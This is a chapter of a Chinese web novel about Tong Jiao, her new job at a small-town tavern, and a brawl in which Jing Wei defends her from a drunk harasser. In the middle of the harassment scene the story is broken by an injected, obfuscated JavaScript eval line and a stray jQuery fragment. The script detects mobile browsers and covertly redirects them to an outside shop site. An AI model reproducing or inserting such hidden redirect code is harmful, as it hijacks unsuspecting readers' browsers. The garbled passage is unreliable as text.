佟皎当晚做了个梦,梦中她推开了一扇门,一道白光沿着门缝渗出来,邀请她进去。脚底是飘忽的地面,触感柔软得像走在云上,地面是蓝黑色水波纹,水中有银闪,泛起层层涟漪。
她赤脚走上波纹水面,每走一步,水声叮当泛起回响。这是个没有边界的地方,显得回声格外空灵。
这里是天堂还是地狱?
她不停往前走啊走,突然一束白光从她头顶上方照射下来,就像话剧开幕时那样,一束强光加注在主角身上,她几乎能见尘埃粒子在她眼前涌动飞舞。
她慢慢伸出手,光顺着她的指尖勾勒出了一个场景。
这个世界终于有了颜色。
佟皎看过去,映入眼帘的是一张长桌,与西方贵族聚餐时的长桌别无二致,桌对面坐着一个男人,她看不清他的脸。
她顺着光的指引,落座在男人对面,霎时间天光大亮,晃得她睁不开眼。她把手拿下,睁眼便看到了对面不怒自威的荆烠,他一头金发泛着光,穿着华丽的燕尾服,手上却拿着法槌。
他问她:“你是谁?”
语气森冷得像判官。
“为何擅自闯入此地?”
佟皎很配合地回答:“我是佟皎啊。”
她声音轻飘飘的,说了,在这个世界里却听不到。
她听不到自己发出的声音。
“佟皎是谁?我又是谁?”好在男人能听见,他继续审问她。
“佟皎,佟皎是……”
“我们什么关系?”
她真想回答个所以然,一时却想不出定义他们关系的词汇。
“兄妹?姐弟?朋友?恋人?”男人问。
佟皎慌道:“什么都不是!”
法槌狠狠敲下,佟皎脑瓜欲裂,世界仿佛震了一下。
她改口:“债主,你是我的债主!”,她终于听见自己的声音,那么直接,那么迫切。
男人这才收回锐利的目光,转而透露出窥视,以及那么一丝自若,他轻飘飘问:“所以你还债来了?”
这个问题没有答案。
佟皎醒了过来。
脑袋是迷糊的,房间里没有别人,她撑头坐起来,昨晚的场景又在她脑中复现一遍。
荆烠呢,他还在吗?
佟皎打开手机,时钟显示已经早上七点五十,她想起来今天还要上班,着急忙慌地洗漱完,拦了个出租就去酒馆。
顺着车窗涌进来的那股凉风,将荆烠远远抛在脑后。
太割裂了。
昨夜与今日,激烈与平淡,大概活这么一辈子撕心裂肺的瞬间太少,而寻常不过的生活多且必要,才让她这么快做好抉择。
她急切需要专心投入一件事来麻痹自己。
人这辈子,年龄越大枷锁越多,还有四年她就奔三十去了。她数着指头算自己的财产,发现自己一无所有。
哦不,也是有的。
三年前那个人给她补偿,给了她一张密码是她生日的十万的卡。她没动过,就像蜜蜂死死守着自己产的蜜,她也守着自己的底线。
还不需要动这笔钱的,她对自己说。
等在张平垣那顺利转成正式工,她再自己自己租个房子,搬出荆家。
那张卡,她会给荆烠。尽管也弥补不完自己对他造成的伤害,但至少她能有一丝心安。
佟皎今天才发现酒馆有吉他,张平垣说那是上个驻唱歌手留下的,佟皎问:“乐器对歌手不是很重要吗,他为什么留下。”
张平垣笑了笑:“他参加选秀去了,说吉他留这儿是他的后路,真成大明星了多半不会再回来。”
“那我觉得他把吉他留这儿的时候就已经忘了他的初心。”佟皎轻声说,那么绝对。
张平垣没有反驳,指着远方群山环翠中那个白色的建筑说:“你看那儿。”
那是政府新修的南湾大桥,那是个梁桥,横跨云河。为了修那座桥,凿了两座山,以后大宗货物运到云河更加便捷了。
张平垣丝毫不怀疑落后的云河未来有一天也会通上高铁,修起高楼大厦。
那如今平和且落后的模样,会是这座小镇的初心吗?
不是。
他看向身旁的佟皎,目光落到她柔软的发丝,她一直看着远方那座桥,看得很认真。
良久,他说:“既为谋生,何谓初心。”
小优偷听了一嘴,摇了摇头,去找正在擦东西的Jay吐槽:“老板又在讲道理,装什么忧郁。”
她“咦”了一声,撇撇嘴:“这样哪儿能吸引女孩儿。”
两人躲在酒柜后讲小话。
Jay没读过什么书,戴着一副圆圆的黑框眼镜,平日里看起来非常老实的模样,他把头探出去。
被偷窥的张平垣和佟皎有一点动作,他就又慌慌张张地把头缩了回来,然后不解地看向若有所思的小优,无奈地说:“你不要这样想好不好,我觉得他们挺聊得来呀。”
他嘀咕了一句:“老板跟基地那些酒搭子朋友才不会聊这种话题。”好歹带了一丝深意呢。
不过说起之前那位驻唱歌手,他俩都还挺想他的。
祝他星途璀璨好了。
两人齐愣愣地想:有梦想的人真了不起!
佟皎发现自己跟张平垣很聊得来,甚至于他的眉眼给她一种很熟悉的感觉。张平垣发现她今天总是盯着他眼睛看,咳了咳,不自在起来。
四个人午饭是一起吃的,两位女孩儿坐一起,张平垣今天心情好,调了四杯气泡饮。
小优率先哇了一声,受宠若惊:“老板这么贴心!”
Jay懵懵的,挠头问了句:“这算不算传说中的饮酒误工。”
话刚说完,桌下小优的脚已经踹向他了,她无语:“!大哥,这很明显不含酒精!”
“老板,你看你招的什么棒槌。”小优嘴一贯地损,张平垣早已经习惯,泰然自若地抿了一口气泡饮,仿佛回到夏天,心里冒起水晶泡泡。
倒是佟皎还没怎么跟小优和Jay相处过,不由得觉得他俩像欢喜冤家,憋着笑,嘴角弯了弯。
她越发喜欢待在酒馆。
一连两天监控里没出现佟皎的身影,荆烠有些心烦意乱。
今天基地接了个小型旅游团,导游事先跟基地对接好,围观了别人飞后,大概七个人确定要玩项目,十个人今晚要住山顶酒店。
提成可观。
李羽的女朋友今天上山来招他。飞完所有游客后,大家聚在一块儿吃饭,这是李羽第一次带女朋友出现在大家视野,女孩儿身材姣好,长得漂亮。
李羽看起来满面春风,沉浸在基地一伙人的起哄声中。
只有荆烠看着手机,没出声。
有人问李羽女朋友做什么工作的,李羽敛了声,女孩儿接过话头灿烂笑着回答:“酒店前台。”
她并不觉得这有什么不好意思。
总归李羽和她是今天聚餐的主角,说说笑笑间,章聆也喝嗨了,她本身就大大方方的性格,笑着说:“大家别看我现在只是个前台,我觉得我转行做中介也不是不行!”
我前几天才帮我一远房亲戚介绍了个好房源,她嗝了一声,又说起劲儿:“还有,我还成功……”李羽似乎觉得她太过,见状不好意思让她说下去,忙扯了扯她袖子:“差不多行了啊,知道你厉害。”
章聆一把把他手甩开,“我还没说完呢!”
“两天,哦不三天前,我还成功让一个女孩儿找到工作了呢。她昨天还发消息说感谢我给她帮助,说改天请我吃饭。这多好啊,这女孩儿。”
“诶,对了,她工作的地方的老板你们也认识的呀!就山脚下那酒馆张老板!”
荆烠瞬间抬起头,张平垣?
他那破店的生意,还需要再招一个女员工?他不屑地撇嘴,紧接着又意识到不对劲。
“诶,好久没去张老板儿那儿了,大家最近辛苦,要不今晚去那儿喝几杯!”
荆烠尚还在头脑风暴,不知谁提了一嘴晚上去张平垣那儿。
又有人说:“烠哥你跟张老板熟,你现在给他发个消息给我们留个包厢呗。”
荆烠微点了下头,却也不怎么高兴。角落里郭飞这个老狐狸看在眼里,他直觉今晚有好戏等着开幕。
张平垣的酒馆营业风格正经得不能再正经,毕竟这个小镇十里八乡亲戚扎堆,年轻人也不全然乱来。
至少在佟皎亲眼目睹一位漂亮女客人被一猥琐油腻男揩油前,她是这么想的。
事实证明,男人这种生物的恶臭普遍度还是太广泛,她看到那样恶心的神情,几乎要把晚饭吐出来。
偏偏油腻男没有要停歇的意思,他喝高了,脸涨红,脸颊两侧的肥肉堆挤在一块儿,像极了猴子屁股。
“美女一个人?跟哥喝两杯?”
他晃晃悠悠走到女客人桌前,咸猪手“自然而然”地搭上她肩膀,女客人只穿一件露肩毛衣,那手在她皮肉上摩挲。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568884|204863||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
女客人抬头,懵懂问:“这是猪成精了?”
男人起先还露出□□,反应过来一恼:“你他娘的臭婊子,怎么说话呢!”
女客人不惯着他,抬手就把杯中余酒泼向他,眼见她有想把杯子直接砸过去的冲动,佟皎连忙对小优说:“报警!”
她迅速冲上前挡在了醉汉和女客人之间,夺过女人手里的杯子,目光严肃地盯着她,摇了摇头。
她得制止她,不能先动手,一定不能先动手。
醉汉怒地推搡她:“你又是什么意思,来来来,她不陪你陪,爷有的是钱。”
佟皎目光看向他手掌触及的左肩,嫌恶地将他的臭手推下去。
醉汉眯起眼睛打量她,肥肉将原本就小的双眼挤成一条线,猥琐地笑起来:“你也不错嘛有点儿姿色,啧…啊!”
话还未说完,迅雷不及掩耳之势,突然一个黑影从他眼前晃过,一瞬间,他被来人踢到在地。
他没反应过来,“他娘的,又是谁!”
话刚说出口,一个酒瓶朝他砸过来,霎时间,他眼睛模糊了。
再一摸,全是血。
醉汉吓懵了,大叫起来:“报警!我要报警!”
张平垣和郭飞死死拉住荆烠。
他太冲动,仅仅只是看见佟皎被猥琐醉汉上下其手便不管不顾地冲过去,也是凑巧,张平垣刚从楼上下来便看见这一幕。
荆烠冲过去,他也跑过来。
李羽和章聆一行人也震惊到不行。
李羽:荆烠狂犬症犯了?
章聆:??????
黄潼:!!!!!!
郭飞:就知道没好事(无奈扶额)
胖子嚷嚷着要报警,其余客人也全数围观过来,霎时间都在举手机拍照。Jay忙着安抚客人,手忙脚乱地喊道:“别拍了,大家别拍了。”
没人听他的招呼,他无可奈何得几乎要哭出来。
小优报完警,径直走过来,怒气冲冲地朝胖子吼道:“报你个大头鬼,警察来了首先逮的就是你!”
佟皎有些头疼,荆烠什么时候来的?
她不自觉看了一眼荆烠,只见他眉间戾气还未消散,眉心蹙着,胸口起伏,注意到她的目光,恶狠狠地看过来。
她还注意到先前的女客人不知什么时候已然凑到荆烠旁边,有依赖之势。
她哭了。
其他人这才反应过来,郭飞惊讶道:“黄潼?”
“你怎么在这儿?”
她又抽泣,又委屈:“那死胖子揩我油。”
“还好你们来了。”话虽这样说,佟皎注意到她目光看向的是荆烠。
醉汉见无人管他,又开始大吵大闹:“我告诉你们,这伤不赔我三万,我誓不罢休。”
依旧没人鸟他。
总归他也会为了这“三万”老老实实地等着警察来。
郭飞这边儿,一己之力转移了众人注意力,他在一旁落了座,点了支烟问荆烠:“不介绍介绍?”
黄潼这时反应过来了,刚才挡她身前的女服务员和荆烠有关系,亏她刚有那么一丝感动他是为了自己。
原来另有佳人。
她喉间的那股子酸涩感终于没了,抱臂寻了个地儿,也等着看好戏。
这一圈熟的不熟的,听过只言片语的,都等着看好戏。
他们把其他客人视若无物,恰巧人家也丧失了兴趣,他们这一角,是荒废的戏台。
佟皎觉得世界格外安静。
荆烠未置一言,甚至再不看她一眼。
打破这段窒息窥探欲的,是先前一句话没说的张平垣。他自然而然地将佟皎拉到他身边,依旧想得周到。
“两位女士刚受了惊吓,先去二楼休息室等等。待会儿警察来了或许会做个笔录。”
“包厢我预留好了,各位如果还需要,现在可以到那儿落座。”
他提高音量,对全场客人说:“抱歉今晚的插曲扰了大家的兴,作为补偿,全场消费七折!”
话毕,他领着两位女士上楼,期间路过荆烠,低声道:“你太冲动。”
而荆烠势必会为他今晚的冲动付出代价,比如被拘留,又或者赔钱。
横竖他是为了佟皎,佟皎回头看了他一眼,露出一丝,怜悯。
呵,冲动,荆烠轻嘲了一声。
佟皎和张平垣走得果断,横竖他一厢情愿。
他这辈子也就这样了。